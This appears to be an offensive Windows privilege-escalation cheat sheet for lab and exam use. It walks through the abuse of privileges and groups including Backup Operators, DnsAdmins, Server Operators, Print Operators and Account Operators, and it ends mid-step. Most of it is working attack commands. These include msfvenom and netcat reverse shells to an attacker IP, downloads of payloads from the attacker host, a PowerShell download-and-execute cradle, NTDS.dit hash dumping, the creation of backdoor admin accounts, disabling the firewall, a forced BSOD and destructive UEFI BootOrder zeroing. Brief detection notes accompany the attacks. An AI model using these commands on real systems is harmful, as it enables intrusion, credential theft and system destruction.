Event 1102 - Security audit log cleared • Event 4719 - audit policy changed • Event 4907 - auditing settings changed on object • wevtutil.exe with "cl" or "sl" argument • Security log max size drastically reduced (Event 6005 on restart)
Who Has It
Rarely delegated; some backup/update agents
Primary Attack
sysprep.exe DLL hijack → SYSTEM (if UAC bypass context)
Alt Attack
UEFI/NVRAM variable abuse (persistence)
Result
SYSTEM shell or persistent firmware implant
⚡ Attack 1 - sysprep.exe DLL Hijack (SYSTEM via auto-elevated process)
sysprep.exe is an auto-elevated binary (manifest: requireAdministrator, autoElevate=true). It loads DLLs from its own directory before System32. Drop a malicious DLL into C:\Windows\System32\Sysprep\ and run sysprep - DLL runs as SYSTEM via the auto-elevation. SeSystemEnvironmentPrivilege is sometimes the indicator that the account has write access to system areas.
1
Generate malicious DLL on Kali
REM DLL for reverse shell: msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o cryptbase.dll REM Or adduser DLL (no listener needed): msfvenom -p windows/x64/exec CMD="net user hacker P@ssw0rd1 /add && net localgroup administrators hacker /add" -f dll -o cryptbase.dll
BAK
💾 BACKUP - run this BEFORE placing the payload
copy "C:\Windows\System32\Sysprep\cryptbase.dll" "{{WPATH}}\cryptbase.dll.bak" 2>nul & echo [BAK] cryptbase.dll backup (may not exist - that is OK) REM Also backup alternative DLL names if you plan to try them: REM copy "C:\Windows\System32\Sysprep\actionqueue.dll" "{{WPATH}}\actionqueue.dll.bak" 2>nul REM copy "C:\Windows\System32\Sysprep\dbgcore.dll" "{{WPATH}}\dbgcore.dll.bak" 2>nul
2
Transfer DLL to target sysprep directory
iwr http://{{KALI_IP}}:{{PORT}}/windows/cryptbase.dll -o C:\Windows\System32\Sysprep\cryptbase.dll REM Also try: actionqueue.dll, dbgcore.dll, mscoree.dll (all loaded by sysprep.exe - verify with procmon)
3
Start listener on Kali
nc -lvnp {{RPORT}}
4
Trigger: run sysprep.exe (auto-elevates to SYSTEM and loads your DLL)
C:\Windows\System32\Sysprep\sysprep.exe REM Shell arrives as SYSTEM on listener
↩ REVERT - one-liner restore (run after exploitation)
REM Restore: if original existed, put it back; if it was a ghost DLL, delete payload copy /Y "{{WPATH}}\cryptbase.dll.bak" "C:\Windows\System32\Sysprep\cryptbase.dll" 2>nul || del /F /Q "C:\Windows\System32\Sysprep\cryptbase.dll"
🔗 Reference: HackTricks DLL Hijacking | Use procmon to confirm DLL load order for sysprep.exe on your specific OS build
⚡ Attack 2 - Firmware Variable Abuse (persistence / UEFI-level)
1
Read/write UEFI variables via PowerShell Win32 API
REM Read UEFI variable: $definition = @" using System;using System.Runtime.InteropServices; public class UefiVar { [DllImport("kernel32.dll",SetLastError=true)] public static extern uint GetFirmwareEnvironmentVariable(string lpName,string lpGuid,byte[] pBuffer,uint nSize); [DllImport("kernel32.dll",SetLastError=true)] public static extern bool SetFirmwareEnvironmentVariable(string lpName,string lpGuid,byte[] pValue,uint nSize); } "@ Add-Type $definition REM Read BootOrder: $buf = New-Object byte[] 256 [UefiVar]::GetFirmwareEnvironmentVariable("BootOrder","{8be4df61-93ca-11d2-aa0d-00e098032b8c}",$buf,256) REM Zero out BootOrder for boot configuration corruption (advanced/destructive - lab only): [UefiVar]::SetFirmwareEnvironmentVariable("BootOrder","{8be4df61-93ca-11d2-aa0d-00e098032b8c}",$null,0)
! UEFI variable manipulation is destructive and persistent beyond OS reinstall. Only use on lab/exam VMs - not on real hardware. Firmware variable access also requires UEFI mode (not Legacy BIOS). Check: bcdedit | findstr /i uefi
⚡ Situational Uses
1
Force restart (trigger autorun/service start)
shutdown /r /t 0
2
Use with DLL hijack - restart service without rebooting
sc stop VulnerableService sc start VulnerableService
3
Log off current session (less disruptive than full reboot)
shutdown /l REM Forces current user session logoff - services not restarted
Useful when you've planted a payload that needs a reboot to trigger (service, Run key, scheduled task). Also useful for race condition exploits.
⚡ Alternative - NtRaiseHardError BSOD (force crash without shutdown.exe)
! Destructive - causes immediate BSOD/crash. SeShutdownPrivilege is not strictly required for NtRaiseHardError from user mode, but the combination confirms shutdown-level rights. Use only when a crash/reboot is intentional (e.g. triggering a service at next boot that runs your payload).
1
PowerShell - force BSOD via NtRaiseHardError syscall
$def = @" using System;using System.Runtime.InteropServices; public class Crash { [DllImport("ntdll.dll")] public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,IntPtr Parameters,uint ValidResponseOption,out uint Response); [DllImport("ntdll.dll")] public static extern uint RtlAdjustPrivilege(int Privilege,bool Enable,bool CurrentThread,out bool Enabled); } "@ Add-Type $def $p = $false [Crash]::RtlAdjustPrivilege(19,$true,$false,[ref]$p) # 19 = SeShutdownPrivilege $r = 0 [Crash]::NtRaiseHardError(0xc0000022,0,0,[IntPtr]::Zero,6,[ref]$r)
Use case: If a persistence payload is in place (Run key, service binary) and you need to force a reboot to trigger it without running shutdown.exe (which may be monitored). NtRaiseHardError with option 6 causes an immediate BSOD and reboot. RtlAdjustPrivilege(19,...) enables SeShutdownPrivilege in the current token before the call.
Who Has It
Service accounts (IIS, MSSQL); usually present alongside SeImpersonatePrivilege
Attack
Potato family (same arsenal as SeImpersonate)
Result
NT AUTHORITY\SYSTEM
API
CreateProcessAsUser (vs CreateProcessWithTokenW for SeImpersonate)
SeAssignPrimaryTokenPrivilege + SeImpersonatePrivilege together = every Potato attack works. If only one is present, run FullPowers first to recover both. SeAssignPrimaryToken alone uses CreateProcessAsUser (vs CreateProcessWithTokenW for SeImpersonate), but the potato tooling handles this automatically.
⚡ Same Full Arsenal as SeImpersonatePrivilege
! See the SeImpersonatePrivilege page for complete step-by-step instructions for all tools. All potatoes below apply identically. If you have SeAssignPrimaryToken but NOT SeImpersonate, note the JuicyPotatoNG flag difference below.
1
GodPotato (best all-round)
.\GodPotato-NET4.exe -cmd "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
2
JuicyPotatoNG - if ONLY SeAssignPrimaryToken (no SeImpersonate), use -t u
REM Both privileges present (normal case): .\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM SeAssignPrimaryToken ONLY (no SeImpersonate) -- force CreateProcessAsUser: .\JuicyPotatoNG.exe -t u -p "C:\Windows\System32\cmd.exe" -a "/c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
3
PrintSpoofer (Spooler must be running)
.\PrintSpoofer64.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
4
SigmaPotato (no Spooler; Win8-Win11 / Server 2012-2022)
.\SigmaPotato.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
5
SweetPotato EfsRpc (no Spooler)
.\SweetPotato.exe -e EfsRpc -p {{WPATH}}\nc64.exe -a "{{KALI_IP}} {{RPORT}} -e cmd"
6
FullPowers (if LOCAL/NETWORK SERVICE - run first)
.\FullPowers.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z
🔍 Detection
Same as SeImpersonatePrivilege • Event 4672 → SYSTEM logon • Event 4688 → service worker spawning cmd.exe • CreateProcessAsUser calls from non-SYSTEM service accounts • Unusual primary token assignment on process creation
Privileges Granted
SeBackupPrivilege + SeRestorePrivilege (automatically)
Primary Attack
NTDS.dit dump via VSS/diskshadow (same as SeBackupPrivilege)
Result
All domain NTLM hashes → Domain Admin via PTH
Critical Caveat
Evil-WinRM STRIPS these privileges - use native PSRemoting
🔴 CRITICAL - Evil-WinRM strips SeBackupPrivilege and SeRestorePrivilege from your token! If you landed via Evil-WinRM, your privileges will show as Disabled or absent. You MUST use a native PSRemoting or winrs session to retain them.
⚡ Full Attack Chain
Backup Operators membership
Native PSRemoting (not Evil-WinRM)
diskshadow VSS snapshot
Copy NTDS.dit
secretsdump → All hashes
1
Confirm group membership and privileges
net localgroup "Backup Operators" whoami /groups | findstr /i backup whoami /priv | findstr /i "SeBackup\|SeRestore"
2
If via Evil-WinRM: switch to native PSRemoting to preserve privileges
# From your current Evil-WinRM shell or any foothold, spawn a proper PSRemoting session: $cred = New-Object System.Management.Automation.PSCredential("{{WPATH}}\username", (ConvertTo-SecureString "password" -AsPlainText -Force)) $sess = New-PSSession -ComputerName localhost -Credential $cred Enter-PSSession $sess # Now verify privileges are present and Enabled: whoami /priv
3
Alternative: use winrs (simpler, same effect)
winrs -r:{{TARGET}} -u:{{USER}} -p:{{PASS}} "whoami /priv" winrs -r:{{TARGET}} -u:{{USER}} -p:{{PASS}} cmd
4
Follow SeBackupPrivilege chain - NTDS.dit via diskshadow
# Create VSS script: echo "set context persistent nowriters" > {{WPATH}}\\pwn.dsh echo "add volume c: alias pwn" >> {{WPATH}}\\pwn.dsh echo "create" >> {{WPATH}}\\pwn.dsh echo "expose %pwn% z:" >> {{WPATH}}\\pwn.dsh (Get-Content {{WPATH}}\\pwn.dsh) | Set-Content -Encoding ASCII {{WPATH}}\\pwn.dsh # fix CRLF line endings diskshadow.exe /s {{WPATH}}\\pwn.dsh
5
Copy NTDS.dit using SeBackupPrivilege cmdlets
Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll REM ORDER MATTERS: Utils FIRST (provides base functions), CmdLets SECOND (depends on Utils) Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit {{WPATH}}\\ntds.dit reg save HKLM\SYSTEM {{WPATH}}\\system
6
Exfil and dump on Kali
impacket-secretsdump -ntds ntds.dit -system system LOCAL # → All domain NTLM hashes → PTH as Domain Admin
🔗 SeBackupPrivilege cmdlets: github.com/giuliano108/SeBackupPrivilege
Detection
VSS snapshot creation (Event 8222) • diskshadow.exe execution • NTDS.dit file access • SeBackupPrivilege used on domain controller • PSRemoting session from non-admin to DC (Event 4624 type 3)
Who Has It
DnsAdmins domain group members
Attack
dnscmd → ServerLevelPluginDll → load evil DLL in dns.exe (SYSTEM)
Result
NT AUTHORITY\SYSTEM on the Domain Controller
Requires
DnsAdmins membership + ability to restart DNS service
🔴 DNS restart causes ~60 second service outage on the DC. All DNS resolution across the domain will fail during this window. Coordinate carefully on real engagements - this is highly visible.
⚡ Full Attack Chain
DnsAdmins membership
msfvenom DLL
SMB host DLL
dnscmd → PluginDll reg
sc restart dns
SYSTEM shell
1
Confirm DnsAdmins membership
net group DnsAdmins /domain whoami /groups | findstr /i dns
2
Generate malicious DLL on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o evil.dll
! CRITICAL: The DNS plugin DLL MUST export DnsPluginInitialize() or dns.exe will crash and fail to load. Basic msfvenom -f dll output does NOT export this function - dns.exe will fail to initialize it. Best workaround for OSCP labs: Use a custom DLL wrapper that exports DnsPluginInitialize and launches the payload in a background thread, OR use the pre-built dnsplugin.dll from github.com/dim0x69/dns-exe-persistance (add user variant - no export needed for AddUser logic).

Quick fix: Use the --exec trick:
msfvenom -p windows/x64/exec CMD="net user hacker P@ss123 /add && net localgroup administrators hacker /add" -f dll -o evil.dll
The exec payload runs in DllMain which fires on DLL_PROCESS_ATTACH - no export needed.
3
Start SMB server on Kali to host the DLL
impacket-smbserver share . -smb2support REM DLL will be loaded from \\{{KALI_IP}}\share\evil.dll REM -smb2support is REQUIRED for Windows 10 / Server 2016+ (SMB1 is disabled by default)
4
Start nc listener on Kali
nc -lvnp {{RPORT}}
BAK
💾 BACKUP - run this BEFORE placing the payload
REM Check if ServerLevelPluginDll already has a value (save it before overwriting): reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll 2>nul && ( reg export HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters {{WPATH}}\dns_params_backup.reg /y echo [BAK] Existing DNS params backed up to {{WPATH}}\dns_params_backup.reg ) || echo [INFO] ServerLevelPluginDll did not exist - delete the key to revert
5
Configure DNS server plugin DLL via dnscmd (MUST include DC hostname)
dnscmd dc01 /config /serverlevelplugindll \\{{KALI_IP}}\share\evil.dll REM IMPORTANT: "dc01" = your DC's hostname (use: nslookup or net group "Domain Controllers" /domain) REM Only omit the hostname if running this command DIRECTLY on the DC itself REM Verify setting was applied: Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters -Name ServerLevelPluginDll
5a
If ALREADY ON THE DC - use local hostname or omit entirely
REM You are on the DC itself - no hostname needed (or use "." or local hostname): dnscmd . /config /serverlevelplugindll \\{{KALI_IP}}\share\evil.dll REM Or use the DC's own computername: dnscmd %COMPUTERNAME% /config /serverlevelplugindll \\{{KALI_IP}}\share\evil.dll REM Alternative: write directly to registry if dnscmd is not available: reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /t REG_SZ /d "\\{{KALI_IP}}\share\evil.dll" /f
6
Restart DNS service - shell arrives on listener
sc stop dns sc start dns # ~60 second DNS outage occurs here - shell arrives as SYSTEM
↩ REVERT - remove plugin DLL registry key + restart DNS cleanly
dnscmd dc01 /config /serverlevelplugindll "" sc stop dns sc start dns # Or delete the registry key directly: reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
Detection
dnscmd.exe with /serverlevelplugindll argument • Registry write to HKLM\SYSTEM\...\DNS\Parameters\ServerLevelPluginDll • DNS service restart (Event 7036) • Outbound SMB from dns.exe (Event 5156) • DLL loaded from UNC path by dns.exe (Sysmon Event 7)
Who Has It
Server Operators domain group - svc-printer on HTB Return
Privileges
Can start/stop/configure ANY service that runs as SYSTEM
Two Methods
A: Add self to Admins (no listener). B: Reverse shell (needs nc64)
Result
NT AUTHORITY\SYSTEM
Shell Compatibility - Read First: In PowerShell, sc is aliased to Set-Content. Always use sc.exe explicitly. In evil-winrm multi-line PS blocks break - use one-liners with semicolons or upload a .ps1 file. In cmd.exe / web shells, sc works directly. For constrained paths, use fully qualified C:\Windows\System32\sc.exe. In evil-winrm-py: use sc.exe qc SVCNAME directly on known services - Get-Service may fail with "Cannot open Service Control Manager".
💡 MANDATORY SPACE: binPath= MUST have a space before the value. binPath="..." (no space) = silent fail or error. Always: binPath= "...". Also: Error 1053 "service did not respond" is EXPECTED and NORMAL when the payload is a short cmd - it ran, sc.exe just timed out waiting for a service handshake. Verify success with net localgroup, not sc exit code.
⚡ METHOD A - Add Self to Administrators (No Listener Needed - Fastest)
Server Operators member
sc config binPath= add to admins
sc stop/start VSS
Error 1053 (NORMAL)
Verify with net localgroup
Re-auth as Admin
1
Confirm membership
net localgroup "Server Operators" whoami /groups | findstr /i "server op"
2
Hijack VSS binPath - CMD / evil-winrm / web shell (use sc.exe in PowerShell)
REM CMD / web shell: sc config VSS binPath= "cmd /c net localgroup Administrators {{USER}} /add" sc stop VSS sc start VSS REM PowerShell / evil-winrm - MUST use sc.exe: sc.exe config VSS binPath= "cmd /c net localgroup Administrators {{USER}} /add" sc.exe stop VSS sc.exe start VSS REM Evil-winrm one-liner (semicolons - no multi-line): sc.exe config VSS binPath= "cmd /c net localgroup Administrators {{USER}} /add"; sc.exe stop VSS; sc.exe start VSS REM Maximum compatibility - fully qualified paths: C:\Windows\System32\sc.exe config VSS binPath= "C:\Windows\System32\cmd.exe /c C:\Windows\System32\net.exe localgroup Administrators {{USER}} /add" C:\Windows\System32\sc.exe stop VSS C:\Windows\System32\sc.exe start VSS
3
Error 1053 = NORMAL. Verify the command ran regardless
net localgroup Administrators REM Look for {{USER}} in the list - that confirms success REM If not there: try a different service (AppMgmt, wbengine, SNMPTRAP)
4
Re-authenticate as local admin (evil-winrm now has full admin rights)
evil-winrm -i {{TARGET}} -u '{{USER}}' -p '{{PASS}}' REM Or via impacket: impacket-psexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{TARGET}}
REVERT - restore VSS original binPath
sc.exe config VSS binPath= "C:\Windows\System32\vssvc.exe" sc.exe start VSS
⚡ METHOD B - Reverse Shell via nc64.exe
1
Upload nc64.exe to target (inside evil-winrm: just 'upload')
REM Inside evil-winrm session: upload /opt/windows/nc64.exe {{WPATH}}\nc64.exe REM PowerShell download fallback: iwr http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -OutFile {{WPATH}}\nc64.exe REM certutil (cmd.exe / constrained env): certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe {{WPATH}}\nc64.exe REM bitsadmin (older Windows): bitsadmin /transfer job /download /priority high http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe {{WPATH}}\nc64.exe
2
Start listener on Kali
nc -lvnp {{RPORT}}
3
Configure and trigger - use sc.exe in PS/evil-winrm, sc in cmd
REM CMD / web shell: sc config VSS binPath= "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" sc stop VSS && sc start VSS REM PowerShell / evil-winrm (sc.exe mandatory): sc.exe config VSS binPath= "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" sc.exe stop VSS; sc.exe start VSS REM PS reverse shell (no nc64 needed - payload via powershell -enc): sc.exe config VSS binPath= "powershell -nop -w hidden -enc BASE64_REV_SHELL" sc.exe stop VSS; sc.exe start VSS
REVERT - restore service binPath
sc.exe config VSS binPath= "C:\Windows\System32\vssvc.exe"
🔎 Service Target Reference - Ranked by Safety
💡Use stopped services (VSS, wbengine, SNMPTRAP) - safe to start/stop without breaking your session. Avoid LanmanServer (kills SMB), WinRM (kills your shell), Netlogon (breaks domain auth).
# Service Name Full Name Default State Original binPath (for restore) Notes
1VSSVolume Shadow CopyStoppedC:\Windows\System32\vssvc.exeBEST - stopped by default, safe, HTB Return confirmed
2AppMgmtApplication ManagementStopped/ManualC:\Windows\system32\dllhost.exe /ProcessID:{02D4B3F1-FD88-11D1-960D-00805FC79235}Stable for rev shells - runs long enough
3wbengineBlock Level Backup EngineStoppedC:\Windows\system32\wbengine.exeSafe - stopped by default. Error 1053 expected.
4SNMPTRAPSNMP TrapStoppedC:\Windows\System32\snmptrap.exeObscure - rarely monitored by blue team
5RasManRemote Access Connection ManagerStoppedC:\Windows\System32\svchost.exe -k netsvcs -pSafe on most DCs. svchost restore requires matching args.
LanmanServerServerRunning-AVOID - kills SMB session
WinRMWindows Remote ManagementRunning-AVOID - kills your evil-winrm shell
🔎 Alternative Payloads (Beyond Just Adding to Admins)
A
Add new backdoor user + add to Admins
sc.exe config VSS binPath= "cmd /c net user hacker P@ssw0rd123! /add && net localgroup Administrators hacker /add" sc.exe stop VSS; sc.exe start VSS
B
Enable RDP
sc.exe config VSS binPath= "cmd /c reg add \"HKLM\System\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f" sc.exe stop VSS; sc.exe start VSS
C
Disable Windows Firewall
sc.exe config VSS binPath= "cmd /c netsh advfirewall set allprofiles state off" sc.exe stop VSS; sc.exe start VSS
D
PowerShell base64 reverse shell (no nc64 needed)
REM Generate payload on Kali: echo "IEX(New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/rev.ps1')" | iconv -t UTF-16LE | base64 -w0 REM Then: sc.exe config VSS binPath= "powershell -nop -w hidden -enc <BASE64>" sc.exe stop VSS; sc.exe start VSS
E
msfvenom EXE - cleaner shell, better for long sessions
REM Kali: msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o shell.exe REM Upload to target, then: sc.exe config VSS binPath= "{{WPATH}}\shell.exe" sc.exe stop VSS; sc.exe start VSS
🔎 Service Enumeration - Find Writable Services (All Shell Types)
PS
PowerShell one-liner (evil-winrm safe - no multi-line)
sc.exe query state= all | Select-String 'SERVICE_NAME' | ForEach-Object { $n=($_ -split ': ')[1].Trim(); $r=sc.exe qc $n 2>&1 | Out-String; if($r -notmatch 'Access is denied'){'OK: '+$n} }
CMD
cmd.exe for-loop (works in web shells)
for /f "tokens=2 delims=: " %i in ('sc query state= all ^| findstr SERVICE_NAME') do @sc qc %i 2>&1 | findstr /i "FAILED 5" >nul && echo DENIED: %i || echo OK: %i
WMIC
WMIC alternative when Get-Service / sc query fails SCM check
wmic service where "StartName='LocalSystem' and State='Running'" get Name,PathName wmic service where "StartName='LocalSystem'" get Name,PathName,State
REG
Registry approach - modify ImagePath directly (when sc.exe blocked)
reg query HKLM\SYSTEM\CurrentControlSet\Services\VSS /v ImagePath reg add HKLM\SYSTEM\CurrentControlSet\Services\VSS /v ImagePath /t REG_EXPAND_SZ /d "cmd /c net localgroup Administrators {{USER}} /add" /f sc.exe stop VSS; sc.exe start VSS REM Restore: reg add HKLM\SYSTEM\CurrentControlSet\Services\VSS /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\vssvc.exe" /f
⚠ Error Reference - What Errors Mean
Error Meaning Action
[SC] StartService FAILED 1053NORMAL/EXPECTED - cmd payload exited before sc.exe timeoutVerify with net localgroup - command ran
[SC] ChangeServiceConfig SUCCESSGOOD - binPath writtenProceed with stop/start
[SC] OpenService FAILED 5: Access is deniedThis service is protected or wrong permsTry different service (VSS → AppMgmt → wbengine)
Cannot open Service Control ManagerSCM perms issue (Get-Service / sc query affected)Use sc.exe qc SVCNAME directly on known services
Missing closing '}' or Unexpected tokenMulti-line PS block in evil-winrmCollapse to one-liner with semicolons or upload .ps1
sc is not recognized / Set-Content errorsc aliased to Set-Content in PowerShellAlways use sc.exe in PS/evil-winrm
Detection
Event 7040 - service binPath changed • Event 7036 - service state change • sc.exe with config argument • Unexpected nc64.exe or cmd.exe as service ImagePath • Service started then stopped quickly (shell caught) • net.exe localgroup modification (Event 4732) • reg.exe write to HKLM\...\Services\*\ImagePath
Privileges Granted
SeLoadDriverPrivilege + SeShutdownPrivilege (automatically)
Primary Attack
EOPLOADDRIVER + vulnerable driver (Capcom.sys) → kernel exploit
Result
NT AUTHORITY\SYSTEM
Full Path
Same as SeLoadDriverPrivilege page - see that section for complete steps
⚡ Full Attack - Vulnerable Driver via EOPLOADDRIVER
Print Operators member
SeLoadDriverPrivilege enabled
EOPLOADDRIVER.exe
Load Capcom.sys
ExploitCapcom.exe
SYSTEM
1
Confirm membership and privileges
net localgroup "Print Operators" whoami /priv | findstr /i "SeLoadDriver\|SeShutdown" # SeLoadDriverPrivilege should show Enabled (or can be enabled)
2
Transfer tools to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/eoploaddriver_x64.exe -OutFile {{WPATH}}\\eoploaddriver_x64.exe iwr http://{{KALI_IP}}:{{PORT}}/windows/Capcom.sys -OutFile {{WPATH}}\\Capcom.sys iwr http://{{KALI_IP}}:{{PORT}}/windows/ExploitCapcom.exe -OutFile {{WPATH}}\\ExploitCapcom.exe
3
Load the vulnerable Capcom.sys driver via eoploaddriver_x64
.\eoploaddriver_x64.exe System\CurrentControlSet\MyService {{WPATH}}\\Capcom.sys # Expected output: "[+] Enabling SeLoadDriverPrivilege" # "[+] SeLoadDriverPrivilege Enabled" # "[+] Loading Driver: \Registry\Machine\System\CurrentControlSet\MyService" # "NTSTATUS: 00000000, WinError: 0"
4
Start nc listener on Kali
nc -lvnp {{RPORT}}
5
Exploit Capcom driver to run shell.exe as SYSTEM
.\ExploitCapcom.exe EXPLOIT "{{WPATH}}\\shell.exe" # EXPLOIT "" syntax - works with k4sth4/SeLoadDriverPrivilege precompiled build
6
Generate shell.exe on Kali (if using msfvenom payload)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o shell.exe
! Capcom.sys is on Microsoft's Vulnerable Driver Blocklist and will fail to load on Windows 11 22H2+ and patched Server 2022. Use szkg64.sys + szkg64exploit.exe instead on modern targets. See the SeLoadDriverPrivilege page for the full szkg64 workflow.
SeLoadDriverPrivilege may be disabled by default even if listed. EOPLOADDRIVER.exe handles enabling it automatically before loading the driver.
Detection
Event 6 (Sysmon) - driver loaded • EOPLOADDRIVER.exe process creation • Capcom.sys or other known-vulnerable driver hash • Registry key creation under HKLM\SYSTEM\CurrentControlSet\Services\ by non-admin • SeLoadDriverPrivilege used (Event 4673)
Who Has It
Account Operators domain group members
Permissions
Create/modify/delete users and groups - EXCEPT protected groups (Domain Admins, etc.)
Primary Attack
Reset password of low-priv account → lateral movement OR add self to a high-priv group
Result
Domain Admin (via group add) or targeted lateral movement
! Protected groups are off-limits: Account Operators cannot modify Domain Admins, Enterprise Admins, Schema Admins, Domain Controllers, Group Policy Creator Owners, or Read-only Domain Controllers. However, ANY other group is fair game - including Remote Desktop Users, Server Operators, DnsAdmins, Backup Operators, etc.
⚡ Attack 1 - Add self to DnsAdmins → SYSTEM on DC
1
Confirm Account Operators membership
net localgroup "Account Operators" whoami /groups | findstr /i "Account Operators"
2
Find exploitable groups you can add yourself to
REM List all domain groups (look for DnsAdmins, Server Operators, Backup Operators): net group /domain REM Check who is in DnsAdmins: net group DnsAdmins /domain
3
Add yourself to DnsAdmins (then follow DnsAdmins → SYSTEM chain)
net group DnsAdmins {{USER}} /add /domain REM Verify: net group DnsAdmins /domain | findstr {{USER}} REM Now follow the DnsAdmins → SYSTEM attack path (see DnsAdmins page)
⚡ Attack 2 - Reset a Service Account Password → Lateral Movement
1
Find service accounts (not in protected groups)
REM List all domain users: net user /domain | findstr /i "svc\|service\|sql\|backup\|admin" REM Get details of target account: net user svc_backup /domain
2
Reset password of target account (no old password needed as Account Operator)
net user svc_backup P@ssw0rd123 /domain REM Or using PowerShell: Set-ADAccountPassword -Identity svc_backup -NewPassword (ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force) -Reset
3
Log in as the service account → inherit its access
REM via PSRemoting: $cred = New-Object System.Management.Automation.PSCredential("{{DOMAIN}}\svc_backup", (ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force)) Enter-PSSession -ComputerName {{TARGET}} -Credential $cred REM via Evil-WinRM: evil-winrm -i {{TARGET}} -u svc_backup -p P@ssw0rd123
⚡ Attack 3 - Add new admin user directly
1
Create new domain user and add to Remote Desktop Users / Server Operators
net user hacker P@ssw0rd1 /add /domain net group "Remote Desktop Users" hacker /add /domain net group "Server Operators" hacker /add /domain REM Then RDP in and follow Server Operators → SYSTEM chain
Detection
Event 4727 - security-enabled global group created • Event 4728 - member added to global security group • Event 4738 - user account changed • Event 4723/4724 - password reset by non-owner • net.exe group modification commands • Unusual Account Operators account performing group changes
Who Has It
Rarely delegated - some backup agents, specialized svc accounts
Mechanism
NtSetSecurityObject with LABEL_SECURITY_INFORMATION - change mandatory integrity label on any object
Attack
Lower-label high-priv file/process → gain write access → replace binary → escalate
Research
tiraniddo.dev (James Forshaw) - the definitive SeRelabelPrivilege analysis
How it works: Windows Mandatory Integrity Control (MIC) normally prevents low-integrity processes from writing to high-integrity objects. SeRelabelPrivilege lets you call SetKernelObjectSecurity with LABEL_SECURITY_INFORMATION to change an object's integrity label - including setting it LOWER than your current level or HIGHER (if you have access). This lets you effectively own any process or file by lowering its label to your level.
⚡ Attack - Relabel SYSTEM process to Low IL → Take ownership → Code injection
1
Download PrivFu SetIntegrityLevel tool
REM PrivFu has SetIntegrityLevel utility - compile from source or use prebuilt: iwr http://{{KALI_IP}}:{{PORT}}/windows/SetIntegrityLevel.exe -o {{WPATH}}\sil.exe REM Source: github.com/daem0nc0re/PrivFu (look in TokenDuplicate or PrivilegedOperations folder)
2
Verify SeRelabelPrivilege is present and enable if disabled
whoami /priv | findstr SeRelabel REM If Disabled: run EnableAllTokenPrivs.ps1 first
3
Relabel a SYSTEM process (e.g. spoolsv.exe) to Medium integrity
REM Find PID of target SYSTEM process: Get-Process spoolsv | Select Id REM Relabel to Medium IL (SDDL label S-1-16-8192): .\sil.exe -pid <PID> -level Medium REM Now the SYSTEM process is accessible from your Medium IL token
4
Inject shellcode into the relabeled SYSTEM process
REM Use any process injection technique - VirtualAllocEx + WriteProcessMemory + CreateRemoteThread: REM Target process is now Medium IL (same as your token) so injection succeeds REM Result: shellcode runs in SYSTEM context
5
Alternative: relabel a system file to lower IL → write to it
REM Lower the integrity label on a system DLL (loaded by SYSTEM process): .\sil.exe -file "C:\Windows\System32\target.dll" -level Low REM Now you can write to it - place malicious DLL, trigger process restart → SYSTEM code exec
Detection
SetKernelObjectSecurity with LABEL_SECURITY_INFORMATION • Integrity label changes on SYSTEM processes • Cross-integrity-level memory writes (Sysmon Event 8 - CreateRemoteThread) • High-integrity process suddenly becoming accessible to Medium IL processes
Problem
LOCAL SERVICE / NETWORK SERVICE shells lose SeImpersonate at runtime
FullPowers.exe
Spawns a new process via scheduled task - recovers FULL token with SeImpersonate
EnableAllTokenPrivs.ps1
Calls AdjustTokenPrivileges on ALL disabled privs in current token - simpler but only enables, doesn't RESTORE stripped privs
Key Difference
FullPowers = recover STRIPPED privs. EnableAllTokenPrivs = enable DISABLED privs already in token
! Key distinction: FullPowers.exe recovers privileges that are completely absent from the token (stripped by Windows at spawn time). EnableAllTokenPrivs.ps1 only enables privileges that are present but disabled in the current token. Use FullPowers when whoami /priv shows SeImpersonate is missing entirely; use EnableAllTokenPrivs when it shows Disabled.
⚡ Method 1 - FullPowers.exe (itm4n) - Recover STRIPPED privileges
1
Transfer FullPowers.exe
iwr http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -o {{WPATH}}\FullPowers.exe
2
Run FullPowers to restore tokens
